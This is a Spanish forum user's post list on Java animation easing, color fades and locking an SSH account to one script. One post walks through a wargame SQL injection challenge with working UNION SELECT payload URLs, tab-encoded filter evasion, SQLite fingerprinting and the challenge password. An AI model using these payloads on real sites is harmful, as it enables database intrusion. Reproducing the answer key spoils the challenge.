Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#1301
Java / Re: Cómo crear una suma curva?
20 Abril 2015, 22:53 PM
Bueno, ya encontré lo que necesitaba :D
https://github.com/jesusgollonet/processing-penner-easing/tree/master/src

Realmente los efectos easing están basados en un trabajo de robert penner:
http://robertpenner.com/easing/

Acá está explicado de manera mas fácil:
http://upshots.org/actionscript/jsas-understanding-easing

Yo usé el de java :)
#1302
Java / Re: Cómo crear una suma curva?
20 Abril 2015, 22:36 PM
Encontré una referencia de lo que necesito en jQuery (efecto easing) y se ve bastante complicado xD

$.easing.custom = function (x, t, b, c, d) {
    var s = 1.70158;
    if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
    return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
}
#1303
Java / Cómo crear una suma curva?
20 Abril 2015, 22:33 PM
Hola, suena extraño pero en la práctica es lo mas común, la idea es que tengo el 0 como valor inicial y debo llegar al 300 de manera curva de mayor a menor, por ejemplo comenzando con 0, 10, 20, 30, 40 y luego 45, 50, 55, 60 y luego 63, 66, 69 y luego 70, 71, 72, 73 y así pero sin pasar a decimales.

Cómo puedo crear esta curva y como puedo personalizar la curva? ya que me gustaría definir por ejemplo que mi texto en una pantalla comienza haciendo un zoom muy rápido y cuando llegue a su tamaño original (mitad de pantalla) comience a bajar la velocidad y mantenerse hasta finalizar, es como en la presentación de una película o juego como cuando un logo aparece rápido y luego se calma mientras hay una imagen de fondo en movimiento, me gustaría aplicar esto mismo pero manualmente en java en una superficie GLES para la presentación de marcas antes de la ejecución principal de las ventanas de navegación de la aplicación.

Cómo hago esto de manera matemática sin utilizar apis y extras? teniendo en cuenta que tengo un integer llamado tick el cual va desde el valor cero hacia adelante aumentando su número por cada frame.

Intenté algo así:

Float text_size = tick + 0f;
text_size = text_size - ((tick + tick) / 5f);


Pero no resultó, pensé que por cada tick iba a aumentar en un punto el tamaño del texto y al pasar los tickets estos restaba una curva de 0.1, 0.2, 0.3 haciendo que la velocidad disminuyera pero por algún motivo no me resultó y aunque me hubiera resultado la curva sería demasiado pareja y tampoco e sla idea.

Alguien tiene alguna idea?
#1304
Java / Re: Array Bidimensional de objetos
20 Abril 2015, 22:24 PM
En java puro y duro también uso los HashMap, pero en el SDK de Android (en java) utilizo JSONObject porque es mas fácil e intuitivo para trabajar ya que no necesitas definir los tipos de valores como en HashMap<T, T>. No se si sea tu caso.
#1305
Hola, tengo una pantalla de inicio donde se muestra un color de color celeste con letras blancas pero al inicio la pantallla es negra y va en progreso hacia el celeste y luego al finalizar vuelve a negro de forma progresiva y así unas tres pantallas.

El tema es que si tengo el color #000000, como puedo calcular el valor progresivo hacia #00A2C1 ? teniendo en cuenta que la cantidad de frames o pasos desde el primer color hacia el segundo puede ser en valor flotante de 1 a 100 por ejemplo dependiendo de la velocidad de fps del dispositivo móvil, por ejemplo en un dispositivo el progreso puede ser: 0, 0.5, 1, 1.5, etc o en otro 0, 0.1, 0.2, 0.3, etc.
#1306
Ahh si, pero de todas maneras yo soy el único que accede a la maquina completa, el único acceso que dejaré de forma remota es el ssh de ese usuario en específico con ese script, todo el resto se entra con un usuario con privilegios elevados y se acabó.

De todas maneras lo tendré presente y le aplicacré dichos permisos.

Hace un tiempo tuve un problema muy similar pero con apache ya que intenté utilizar user_dir el cual me permitía tener un public_html por cada usuario en su propio home pero al final desde el apache cualquier usuario podía acceder al directorio del otro usuario a leer ya que apache se ejecutaba con permisos de www-data y al final a todos los directorios home había que darle permisos de lectura grupal 755 para que apache pudiera leer todos los homes o darle chown www-data:www-data a todos los public_html. Estuve averiguando y la única solucuión a esto era utilizar jail o un módulo de apache que no es oficial y ya está descontinuado :( pero en fin... eso ya es otro tema.
#1307
Pero ojo, el usuario no podrá acceder a la cuenta si no es a traves del ssh asi que como podría mover el script? si el script mismo es el ejecutable de arranque?
#1308
Muchas gracias a ambos  :)
#1309
Hola, me gustaría tener un usuario en mi sistema linux (que puede ser con ubuntu o centos) el cual pueda tener acceso vía ssh unicamente a la ejecución de una aplicación, algo así como la película de las guerras de las galáxias via telnet pero en mi caso quiero prestar un servicio no http sino via terminal desde internet.

El software lo tengo y es un script en php el cual recibe comandos y muestra resultados.

Lo que hice para intentar hacer esto es crear un usuario nuevo en el servidor remoto:
# useradd --create-home -d /home/feedsh -s /home/feedsh/feedsh.sh feedsh

mi script feedsh.sh lo unico que hace es llamar al script en php y luego finalizar:
#!/bin/bash
php feedsh.php
exit


Asi que luego de poner los scripts en sh y php le hago un chown feedsh:feedsh . -R y le doy permisos de ejecución con chmos +x feedsh.sh y listo.

El tema es que no quiero correr riesgos de que alguna persona pueda ejecutar comandos arbitrarios o tenga acceso a hacer otra cosa que no sea solamente ejecutar ese script. Como lo hice es suficiente? o debo considerar otras cosas?
#1310
Nivel Web / Re: Duda con reto de iSQL
15 Abril 2015, 04:56 AM
Recuerda que al final le quitan 3 carácteres por el "OR". Agregale 3 carácteres vacios extras:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=s%%27%09order%09by%094%09--09%09%09%09

Con 4 columnas renorna el valor, con 5 no, por lo cual la tabla tiene 4 columnas:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,4%09--09%09%09%09

También puedes hacer una continuación de la consulta en ves de finalizarla para ganar mas espacio de carácteres (ya que te limita a 40):

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,3,%274

Al final las única columna que retornan valores acortando la consulta final es el 3

Igual está raro si, no resuelve nada, ni user() ni @@version ni si quiera un concat:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=1%27%09union%09select%091,2,concat%28%27c%27%29,%274

Será sqlite?

www.yashira.org/ReTos/All/167/diccionario.php?buscar=1'%09union%09select%091,2,'a'||'b','4

Bingo! sqlite concatena strings utilizando el operador OR en símbolo ||, asi que puse 'a'||'b' y me retornó "ab".

Ahora si, a continuar con la inyección, usamos la función sqlite_version() para retornar la versión de la base de datos:

http://www.yashira.org/ReTos/All/167/diccionario.php?buscar=%27%09union%09select%091,2,sqlite_version%28%29,%274

Y listo:

CitarCongrats!, Password: e98f1ae3f5bdeab2d89d8c928723a9f9

CitarAndaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL

Donde dice MySQL?

Saludos.